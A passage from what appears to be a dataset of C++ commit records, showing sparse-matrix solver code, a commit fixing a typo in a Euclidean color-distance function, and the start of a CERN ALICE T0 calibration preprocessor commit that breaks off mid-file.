unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] += PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SubtractBlock(unsigned long block_i, unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] -= PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::AddVal2Diag(unsigned long block_i, OtherType val_matrix) {\n  \n  unsigned long step = 0, iVar, index;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_i) {\t\/\/ Only elements on the diagonal\n      for (iVar = 0; iVar < nVar; iVar++)\n        matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+iVar] += PassiveAssign<ScalarType,OtherType>(val_matrix);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetVal2Diag(unsigned long block_i, OtherType val_matrix) {\n  \n  unsigned long step = 0, iVar, jVar, index;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_i) {\t\/\/ Only elements on the diagonal\n      \n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nVar; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+jVar] = 0.0;\n      \n      for (iVar = 0; iVar < nVar; iVar++)\n        matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+iVar] = PassiveAssign<ScalarType,OtherType>(val_matrix);\n      \n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ninline CSysMatrixVectorProduct<ScalarType>::CSysMatrixVectorProduct(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CSysMatrixVectorProduct<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CSysMatrixVectorProduct::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->MatrixVectorProduct(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CSysMatrixVectorProductTransposed<ScalarType>::CSysMatrixVectorProductTransposed(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CSysMatrixVectorProductTransposed<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CSysMatrixVectorProduct::operator()(const CSysVector &, CSysVector &): \" << endl;\n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->MatrixVectorProductTransposed(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CJacobiPreconditioner<ScalarType>::CJacobiPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CJacobiPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CJacobiPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeJacobiPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CILUPreconditioner<ScalarType>::CILUPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CILUPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CILUPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl;\n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeILUPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CLU_SGSPreconditioner<ScalarType>::CLU_SGSPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n      geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CLU_SGSPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CLU_SGSPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeLU_SGSPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CLineletPreconditioner<ScalarType>::CLineletPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CLineletPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CLineletPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeLineletPreconditioner(u, v, geometry, config);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Comparison.h\"\n#include \"Utils.h\"\n#include <cmath>\n\nnamespace ColorSpace {\n\tdouble EuclideanComparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tRgb rgb_a;\n\t\tRgb rgb_b;\n\n\t\ta->ToRgb(&rgb_a);\n\t\tb->ToRgb(&rgb_b);\n\n\t\treturn sqrt(SQR(rgb_a.r - rgb_b.r) + SQR(rgb_a.g - rgb_b.g) + SQR(rgb_a.b - rgb_a.b));\n\t}\n\n\tdouble Cie1976Comparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\treturn sqrt(SQR(lab_a.l - lab_b.l) + SQR(lab_a.a - lab_b.a) + SQR(lab_a.b - lab_b.b));\n\t}\n\n\tCie94Comparison::Application::Application(Cie94Comparison::APPLICATION appType) {\n\t\tswitch (appType) {\n\t\tcase GRAPHIC_ARTS:\n\t\t\tkl = 1.0;\n\t\t\tk1 = 0.045;\n\t\t\tk2 = 0.015;\n\t\t\tbreak;\n\t\tcase TEXTILES:\n\t\t\tkl = 2.0;\n\t\t\tk1 = 0.048;\n\t\t\tk2 = 0.014;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tdouble Cie94Comparison::Compare(IColorSpace *a, IColorSpace *b, APPLICATION appType) {\n\t\tApplication app(appType);\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\tdouble deltaL = lab_a.l - lab_b.l;\n\t\tdouble deltaA = lab_a.a - lab_b.a;\n\t\tdouble deltaB = lab_a.b - lab_b.b;\n\n\t\tdouble c1 = sqrt(SQR(lab_a.a) + SQR(lab_a.b));\n\t\tdouble c2 = sqrt(SQR(lab_b.a) + SQR(lab_b.b));\n\t\tdouble deltaC = c1 - c2;\n\n\t\tdouble deltaH = SQR(deltaA) + SQR(deltaB) - SQR(deltaC);\n\n\t\tdouble sl = 1.0;\n\t\tdouble sc = 1.0 + app.k1*c1;\n\t\tdouble sh = 1.0 + app.k2*c1;\n\n\t\tdeltaL \/= app.kl*sl;\n\t\tdeltaC \/= sc;\n\n\t\treturn sqrt(SQR(deltaL) + SQR(deltaC) + deltaH\/SQR(sh));\n\t}\n\n\tdouble Cie2000Comparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tconst double eps = 1e-5;\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\t\/\/ calculate ci, hi, i=1,2\n\t\tdouble c1 = sqrt(SQR(lab_a.a) + SQR(lab_a.b));\n\t\tdouble c2 = sqrt(SQR(lab_b.a) + SQR(lab_b.b));\n\t\tdouble meanC = (c1 + c2) \/ 2.0;\n\t\tdouble meanC7 = POW7(meanC);\n\n\t\tdouble g = 0.5*(1 - sqrt(meanC7 \/ (meanC7 + 6103515625.))); \/\/ 0.5*(1-sqrt(meanC^7\/(meanC^7+25^7)))\n\t\tdouble a1p = lab_a.a * (1 + g);\n\t\tdouble a2p = lab_b.a * (1 + g);\n\n\t\tc1 = sqrt(SQR(a1p) + SQR(lab_a.b));\n\t\tc2 = sqrt(SQR(a2p) + SQR(lab_b.b));\n\t\tdouble h1 = fmod(atan2(lab_a.b, a1p) + 2*M_PI, 2*M_PI);\n\t\tdouble h2 = fmod(atan2(lab_b.b, a2p) + 2*M_PI, 2*M_PI);\n\n\t\t\/\/ compute deltaL, deltaC, deltaH\n\t\tdouble deltaL = lab_b.l - lab_a.l;\n\t\tdouble deltaC = c2 - c1;\n\t\tdouble deltah;\n\n\t\tif (c1*c2 < eps) {\n\t\t\tdeltah = 0;\n\t\t}\n\t\tif (std::abs(h2 - h1) <= M_PI) {\n\t\t\tdeltah = h2 - h1;\n\t\t}\n\t\telse if (h2 > h1) {\n\t\t\tdeltah = h2 - h1 - 2* M_PI;\n\t\t}\n\t\telse {\n\t\t\tdeltah = h2 - h1 + 2 * M_PI;\n\t\t}\n\n\t\tdouble deltaH = 2 * sqrt(c1*c2)*sin(deltah \/ 2);\n\n\t\t\/\/ calculate CIEDE2000\n\t\tdouble meanL = (lab_a.l + lab_b.l) \/ 2;\n\t\tmeanC = (c1 + c2) \/ 2.0;\n\t\tmeanC7 = POW7(meanC);\n\t\tdouble meanH;\n\n\t\tif (c1*c2 < eps) {\n\t\t\tmeanH = h1 + h2;\n\t\t}\n\t\tif (std::abs(h1 - h2) <= M_PI + eps) {\n\t\t\tmeanH = (h1 + h2) \/ 2;\n\t\t}\n\t\telse if (h1 + h2 < 2*M_PI) {\n\t\t\tmeanH = (h1 + h2 + 2*M_PI) \/ 2;\n\t\t}\n\t\telse {\n\t\t\tmeanH = (h1 + h2 - 2*M_PI) \/ 2;\n\t\t}\n\n\t\tdouble T = 1\n\t\t\t- 0.17*cos(meanH - DegToRad(30))\n\t\t\t+ 0.24*cos(2 * meanH)\n\t\t\t+ 0.32*cos(3 * meanH + DegToRad(6))\n\t\t\t- 0.2*cos(4 * meanH - DegToRad(63));\n\t\tdouble sl = 1 + (0.015*SQR(meanL - 50)) \/ sqrt(20 + SQR(meanL - 50));\n\t\tdouble sc = 1 + 0.045*meanC;\n\t\tdouble sh = 1 + 0.015*meanC*T;\n\t\tdouble rc = 2 * sqrt(meanC7 \/ (meanC7 + 6103515625.));\n\t\tdouble rt = -sin(DegToRad(60 * exp(-SQR((RadToDeg(meanH) - 275) \/ 25)))) * rc;\n\n\t\treturn sqrt(SQR(deltaL \/ sl) + SQR(deltaC \/ sc) + SQR(deltaH \/ sh) + rt * deltaC \/ sc * deltaH \/ sh);\n\t}\n\n\n\tconst double CmcComparison::defaultLightness = 2.;\n\tconst double CmcComparison::defaultChroma = 1.;\n\tdouble CmcComparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tLch lch_a;\n\t\tLch lch_b;\n\n\t\ta->To<Lch>(&lch_a);\n\t\tb->To<Lch>(&lch_b);\n\n\t\tdouble deltaL = lch_a.l - lch_b.l;\n\t\tdouble deltaC = lch_a.c - lch_b.c;\n\t\tdouble deltaH = 0;\n\n\t\tdouble f = sqrt(POW4(lch_a.c) \/ (POW4(lch_a.c) + 1900));\n\t\tdouble t = (164 <= lch_a.h && lch_a.h <= 345) ? (0.56 + std::abs(0.2*cos(lch_a.h + 168))) : (0.36 + abs(0.4*cos(lch_a.h + 35)));\n\n\t\tdouble sl = (lch_a.l < 16) ? 0.511 : (0.040975*lch_a.l \/ (1 + 0.01765*lch_a.l));\n\t\tdouble sc = 0.0638*lch_a.c \/ (1 + 0.0131*lch_a.c) + 0.638;\n\t\tdouble sh = sc*(f*t + 1 - f);\n\n\t\treturn sqrt(SQR(deltaL \/ (defaultLightness*sl)) + SQR(deltaC \/ (defaultChroma*sc)) + SQR(deltaH \/ sh));\n\t}\n}\n\n<commit_msg>Fix bug in EuclideanComparison<commit_after>#include \"Comparison.h\"\n#include \"Utils.h\"\n#include <cmath>\n\nnamespace ColorSpace {\n\tdouble EuclideanComparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tRgb rgb_a;\n\t\tRgb rgb_b;\n\n\t\ta->ToRgb(&rgb_a);\n\t\tb->ToRgb(&rgb_b);\n\n\t\treturn sqrt(SQR(rgb_a.r - rgb_b.r) + SQR(rgb_a.g - rgb_b.g) + SQR(rgb_a.b - rgb_b.b));\n\t}\n\n\tdouble Cie1976Comparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\treturn sqrt(SQR(lab_a.l - lab_b.l) + SQR(lab_a.a - lab_b.a) + SQR(lab_a.b - lab_b.b));\n\t}\n\n\tCie94Comparison::Application::Application(Cie94Comparison::APPLICATION appType) {\n\t\tswitch (appType) {\n\t\tcase GRAPHIC_ARTS:\n\t\t\tkl = 1.0;\n\t\t\tk1 = 0.045;\n\t\t\tk2 = 0.015;\n\t\t\tbreak;\n\t\tcase TEXTILES:\n\t\t\tkl = 2.0;\n\t\t\tk1 = 0.048;\n\t\t\tk2 = 0.014;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tdouble Cie94Comparison::Compare(IColorSpace *a, IColorSpace *b, APPLICATION appType) {\n\t\tApplication app(appType);\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\tdouble deltaL = lab_a.l - lab_b.l;\n\t\tdouble deltaA = lab_a.a - lab_b.a;\n\t\tdouble deltaB = lab_a.b - lab_b.b;\n\n\t\tdouble c1 = sqrt(SQR(lab_a.a) + SQR(lab_a.b));\n\t\tdouble c2 = sqrt(SQR(lab_b.a) + SQR(lab_b.b));\n\t\tdouble deltaC = c1 - c2;\n\n\t\tdouble deltaH = SQR(deltaA) + SQR(deltaB) - SQR(deltaC);\n\n\t\tdouble sl = 1.0;\n\t\tdouble sc = 1.0 + app.k1*c1;\n\t\tdouble sh = 1.0 + app.k2*c1;\n\n\t\tdeltaL \/= app.kl*sl;\n\t\tdeltaC \/= sc;\n\n\t\treturn sqrt(SQR(deltaL) + SQR(deltaC) + deltaH\/SQR(sh));\n\t}\n\n\tdouble Cie2000Comparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tconst double eps = 1e-5;\n\t\tLab lab_a;\n\t\tLab lab_b;\n\n\t\ta->To<Lab>(&lab_a);\n\t\tb->To<Lab>(&lab_b);\n\n\t\t\/\/ calculate ci, hi, i=1,2\n\t\tdouble c1 = sqrt(SQR(lab_a.a) + SQR(lab_a.b));\n\t\tdouble c2 = sqrt(SQR(lab_b.a) + SQR(lab_b.b));\n\t\tdouble meanC = (c1 + c2) \/ 2.0;\n\t\tdouble meanC7 = POW7(meanC);\n\n\t\tdouble g = 0.5*(1 - sqrt(meanC7 \/ (meanC7 + 6103515625.))); \/\/ 0.5*(1-sqrt(meanC^7\/(meanC^7+25^7)))\n\t\tdouble a1p = lab_a.a * (1 + g);\n\t\tdouble a2p = lab_b.a * (1 + g);\n\n\t\tc1 = sqrt(SQR(a1p) + SQR(lab_a.b));\n\t\tc2 = sqrt(SQR(a2p) + SQR(lab_b.b));\n\t\tdouble h1 = fmod(atan2(lab_a.b, a1p) + 2*M_PI, 2*M_PI);\n\t\tdouble h2 = fmod(atan2(lab_b.b, a2p) + 2*M_PI, 2*M_PI);\n\n\t\t\/\/ compute deltaL, deltaC, deltaH\n\t\tdouble deltaL = lab_b.l - lab_a.l;\n\t\tdouble deltaC = c2 - c1;\n\t\tdouble deltah;\n\n\t\tif (c1*c2 < eps) {\n\t\t\tdeltah = 0;\n\t\t}\n\t\tif (std::abs(h2 - h1) <= M_PI) {\n\t\t\tdeltah = h2 - h1;\n\t\t}\n\t\telse if (h2 > h1) {\n\t\t\tdeltah = h2 - h1 - 2* M_PI;\n\t\t}\n\t\telse {\n\t\t\tdeltah = h2 - h1 + 2 * M_PI;\n\t\t}\n\n\t\tdouble deltaH = 2 * sqrt(c1*c2)*sin(deltah \/ 2);\n\n\t\t\/\/ calculate CIEDE2000\n\t\tdouble meanL = (lab_a.l + lab_b.l) \/ 2;\n\t\tmeanC = (c1 + c2) \/ 2.0;\n\t\tmeanC7 = POW7(meanC);\n\t\tdouble meanH;\n\n\t\tif (c1*c2 < eps) {\n\t\t\tmeanH = h1 + h2;\n\t\t}\n\t\tif (std::abs(h1 - h2) <= M_PI + eps) {\n\t\t\tmeanH = (h1 + h2) \/ 2;\n\t\t}\n\t\telse if (h1 + h2 < 2*M_PI) {\n\t\t\tmeanH = (h1 + h2 + 2*M_PI) \/ 2;\n\t\t}\n\t\telse {\n\t\t\tmeanH = (h1 + h2 - 2*M_PI) \/ 2;\n\t\t}\n\n\t\tdouble T = 1\n\t\t\t- 0.17*cos(meanH - DegToRad(30))\n\t\t\t+ 0.24*cos(2 * meanH)\n\t\t\t+ 0.32*cos(3 * meanH + DegToRad(6))\n\t\t\t- 0.2*cos(4 * meanH - DegToRad(63));\n\t\tdouble sl = 1 + (0.015*SQR(meanL - 50)) \/ sqrt(20 + SQR(meanL - 50));\n\t\tdouble sc = 1 + 0.045*meanC;\n\t\tdouble sh = 1 + 0.015*meanC*T;\n\t\tdouble rc = 2 * sqrt(meanC7 \/ (meanC7 + 6103515625.));\n\t\tdouble rt = -sin(DegToRad(60 * exp(-SQR((RadToDeg(meanH) - 275) \/ 25)))) * rc;\n\n\t\treturn sqrt(SQR(deltaL \/ sl) + SQR(deltaC \/ sc) + SQR(deltaH \/ sh) + rt * deltaC \/ sc * deltaH \/ sh);\n\t}\n\n\n\tconst double CmcComparison::defaultLightness = 2.;\n\tconst double CmcComparison::defaultChroma = 1.;\n\tdouble CmcComparison::Compare(IColorSpace *a, IColorSpace *b) {\n\t\tLch lch_a;\n\t\tLch lch_b;\n\n\t\ta->To<Lch>(&lch_a);\n\t\tb->To<Lch>(&lch_b);\n\n\t\tdouble deltaL = lch_a.l - lch_b.l;\n\t\tdouble deltaC = lch_a.c - lch_b.c;\n\t\tdouble deltaH = 0;\n\n\t\tdouble f = sqrt(POW4(lch_a.c) \/ (POW4(lch_a.c) + 1900));\n\t\tdouble t = (164 <= lch_a.h && lch_a.h <= 345) ? (0.56 + std::abs(0.2*cos(lch_a.h + 168))) : (0.36 + abs(0.4*cos(lch_a.h + 35)));\n\n\t\tdouble sl = (lch_a.l < 16) ? 0.511 : (0.040975*lch_a.l \/ (1 + 0.01765*lch_a.l));\n\t\tdouble sc = 0.0638*lch_a.c \/ (1 + 0.0131*lch_a.c) + 0.638;\n\t\tdouble sh = sc*(f*t + 1 - f);\n\n\t\treturn sqrt(SQR(deltaL \/ (defaultLightness*sl)) + SQR(deltaC \/ (defaultChroma*sc)) + SQR(deltaH \/ sh));\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/*\n$Log$\nRevision 1.5  2007\/11\/23 19:28:52  alla\nbug fixed\n\nVersion 2.1  2007\/11\/21 \nPreprocessor storing data to OCDB (T.Malkiewicz)\n\nVersion 1.1  2006\/10   \nPreliminary test version (T.Malkiewicz)\n*\/   \n\n\/\/ T0 preprocessor:\n\/\/ 1) takes data from DCS and passes it to the class AliTOFDataDCS for processing and writes the result to the Reference DB.\n\/\/ 2) takes data form DAQ (both from Laser Calibration and Physics runs), processes it, and stores either to OCDB or to Reference DB.\n\n#include \"AliT0Preprocessor.h\"\n#include \"AliT0DataDCS.h\"\n#include \"AliT0CalibWalk.h\"\n#include \"AliT0CalibTimeEq.h\"\n\n#include \"AliCDBMetaData.h\"\n#include \"AliDCSValue.h\"\n#include \"AliLog.h\"\n\n#include <TTimeStamp.h>\n#include <TFile.h>\n#include <TObjString.h>\n#include <TNamed.h>\n#include \"AliT0Dqclass.h\"\n\n\nClassImp(AliT0Preprocessor)\n\n\/\/____________________________________________________\nAliT0Preprocessor::AliT0Preprocessor(AliShuttleInterface* shuttle) : AliPreprocessor(\"T00\", shuttle), fData(0)\n{\n  \/\/constructor\n}\n\/\/____________________________________________________\n\nAliT0Preprocessor::~AliT0Preprocessor()\n{\n  delete fData;\n  fData = 0;\n}\n\/\/____________________________________________________\n\nvoid AliT0Preprocessor::Initialize(Int_t run, UInt_t startTime, UInt_t endTime)\n{\n  AliPreprocessor::Initialize(run, startTime, endTime);\n  AliInfo(Form(\"\\n\\tRun %d \\n\\tStartTime %s \\n\\tEndTime %s\", run, TTimeStamp(startTime).AsString(), TTimeStamp(endTime).AsString()));\n  fData = new AliT0DataDCS(fRun, fStartTime, fEndTime);\n}\n\/\/____________________________________________________\n\nUInt_t AliT0Preprocessor::Process(TMap* dcsAliasMap )\n{\n  \/\/ T0 preprocessor return codes:\n  \/\/ return=0 : all ok\n  \/\/ return=1 : no DCS input data \n  \/\/ return=2 : failed to store DCS data\n  \/\/ return=3 : no Laser data (Walk correction)\n  \/\/ return=4 : failed to store OCDB time equalized data\n  \/\/ return=5 : no DAQ input for OCDB\n  \/\/ return=6 : failed to retrieve DAQ data from OCDB\n  \/\/ return=7 : failed to store T0 OCDB data\n\n\tBool_t resultDCSMap=kFALSE;\n\tBool_t resultDCSStore=kFALSE;\n\tBool_t resultLaser=kFALSE;\n\tBool_t resultOnline=kFALSE;  \n     \n        if(!dcsAliasMap)\n        {\n          Log(\"No DCS input data\");\n          return 1;\n        }\n        else\n        {\n\t  \/*\n          resultDCSMap=fData->ProcessData(*dcsAliasMap);\n          if(!resultDCSMap)\n          {\n            Log(\"Error when processing DCS data\");\n            return 2;\/\/ return error Code for processed DCS data not stored\n          }\n          else\n          {\n\t    Float_t *meanScaler[24] = fData->GetScalerMean();\n\t     \t\n            AliCDBMetaData metaDataDCS;\n            metaDataDCS.SetBeamPeriod(0);\n            metaDataDCS.SetResponsible(\"Tomasz Malkiewicz\");\n            metaDataDCS.SetComment(\"This preprocessor fills an AliTODataDCS object.\");\n            AliInfo(\"Storing DCS Data\");\n            resultDCSStore = Store(\"Calib\",\"DCSData\",meanScaler, &metaDataDCS);\n            if (!resultDCSStore)\n            {\n              Log(\"Some problems occurred while storing DCS data results in ReferenceDB\");\n              return 2;\/\/ return error Code for processed DCS data not stored\n            }\n\n          }\n\t  *\/\n        }\n\n        \/\/ processing DAQ\n\n        TString runType = GetRunType();\n\n        if(runType == \"T0_STANDALONE_LASER\")\n        {\n          TList* list = GetFileSources(kDAQ, \"LASER\");\n          if (list)\n          {\n            TIter iter(list);\n            TObjString *source;\n            while ((source = dynamic_cast<TObjString *> (iter.Next())))\n            {\n              const char *laserFile = GetFile(kDAQ, \"LASER\", source->GetName());\n              if (laserFile)\n              {\n                Log(Form(\"File with Id LASER found in source %s!\", source->GetName()));\n                AliT0CalibWalk *laser = new AliT0CalibWalk();\n                laser->MakeWalkCorrGraph(laserFile);\n                AliCDBMetaData metaData;\n                metaData.SetBeamPeriod(0);\n                metaData.SetResponsible(\"Tomek&Michal\");\n                metaData.SetComment(\"Walk correction from laser runs.\");\n\t\t\/\/TObjArray* arrLaser = laser->GetfWalk();\n\t\tresultLaser=Store(\"Calib\",\"Slewing_Walk\", laser, &metaData, 0, 1);\n                delete laser;\n              }\n              else\n              {\n                Log(Form(\"Could not find file with Id LASER in source %s!\", source->GetName()));\n                return 1;\n              }\n            }\n            if (!resultLaser)\n            {\n              Log(\"No Laser Data stored\");\n              return 3;\/\/return error code for failure in storing Laser Data\n            }\n          }\n        }\n        else if(runType == \"PHYSICS\")\n        {\n          TList* listPhys = GetFileSources(kDAQ, \"PHYSICS\");\n          if (listPhys)\n          {\n            TIter iter(listPhys);\n            TObjString *sourcePhys;\n            while ((sourcePhys = dynamic_cast<TObjString *> (iter.Next())))\n            {\n              const char *filePhys = GetFile(kDAQ, \"PHYSICS\", sourcePhys->GetName());\n              if (filePhys)\n              {\n                AliT0CalibTimeEq *online = new AliT0CalibTimeEq();\n                online->Reset();\n                online->ComputeOnlineParams(\"CFD\", 20, 4., filePhys);\n                AliCDBMetaData metaData;\n                metaData.SetBeamPeriod(0);\n                metaData.SetResponsible(\"Tomek&Michal\");\n                metaData.SetComment(\"Time equalizing result.\");\n                resultOnline = Store(\"Calib\",\"TimeDelay\", online, &metaData, 0, 1);\n                delete online;\n              }\n              else\n              {\n                Log(Form(\"Could not find file with Id PHYSICS in source %s!\", sourcePhys->GetName()));\n                return 1;\n              }\n            }\n            if (!resultOnline)\n            {\n              Log(\"No Laser Data stored\");\n              return 4;\/\/return error code for failure in storing OCDB Data\n            }\n          }\n        }\n\n  return 0;\n}\n\n<commit_msg>bug fixed by Alberto<commit_after>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/*\n$Log$\nRevision 1.7  2007\/12\/06 16:35:24  alla\nnew bugs fixed by Tomek\n\nRevision 1.5  2007\/11\/23 19:28:52  alla\nbug fixed\n\nVersion 2.1  2007\/11\/21 \nPreprocessor storing data to OCDB (T.Malkiewicz)\n\nVersion 1.1  2006\/10   \nPreliminary test version (T.Malkiewicz)\n*\/   \n\n\/\/ T0 preprocessor:\n\/\/ 1) takes data from DCS and passes it to the class AliTOFDataDCS for processing and writes the result to the Reference DB.\n\/\/ 2) takes data form DAQ (both from Laser Calibration and Physics runs), processes it, and stores either to OCDB or to Reference DB.\n\n#include \"AliT0Preprocessor.h\"\n#include \"AliT0DataDCS.h\"\n#include \"AliT0CalibWalk.h\"\n#include \"AliT0CalibTimeEq.h\"\n\n#include \"AliCDBMetaData.h\"\n#include \"AliDCSValue.h\"\n#include \"AliLog.h\"\n\n#include <TTimeStamp.h>\n#include <TFile.h>\n#include <TObjString.h>\n#include <TNamed.h>\n#include \"AliT0Dqclass.h\"\n\n\nClassImp(AliT0Preprocessor)\n\n\/\/____________________________________________________\nAliT0Preprocessor::AliT0Preprocessor(AliShuttleInterface* shuttle) : AliPreprocessor(\"T00\", shuttle), fData(0)\n{\n  \/\/constructor\n}\n\/\/____________________________________________________\n\nAliT0Preprocessor::~AliT0Preprocessor()\n{\n  delete fData;\n  fData = 0;\n}\n\/\/____________________________________________________\n\nvoid AliT0Preprocessor::Initialize(Int_t run, UInt_t startTime, UInt_t endTime)\n{\n  AliPreprocessor::Initialize(run, startTime, endTime);\n  AliInfo(Form(\"\\n\\tRun %d \\n\\tStartTime %s \\n\\tEndTime %s\", run, TTimeStamp(startTime).AsString(), TTimeStamp(endTime).AsString()));\n  fData = new AliT0DataDCS(fRun, fStartTime, fEndTime);\n}\n\/\/____________________________________________________\n\nUInt_t 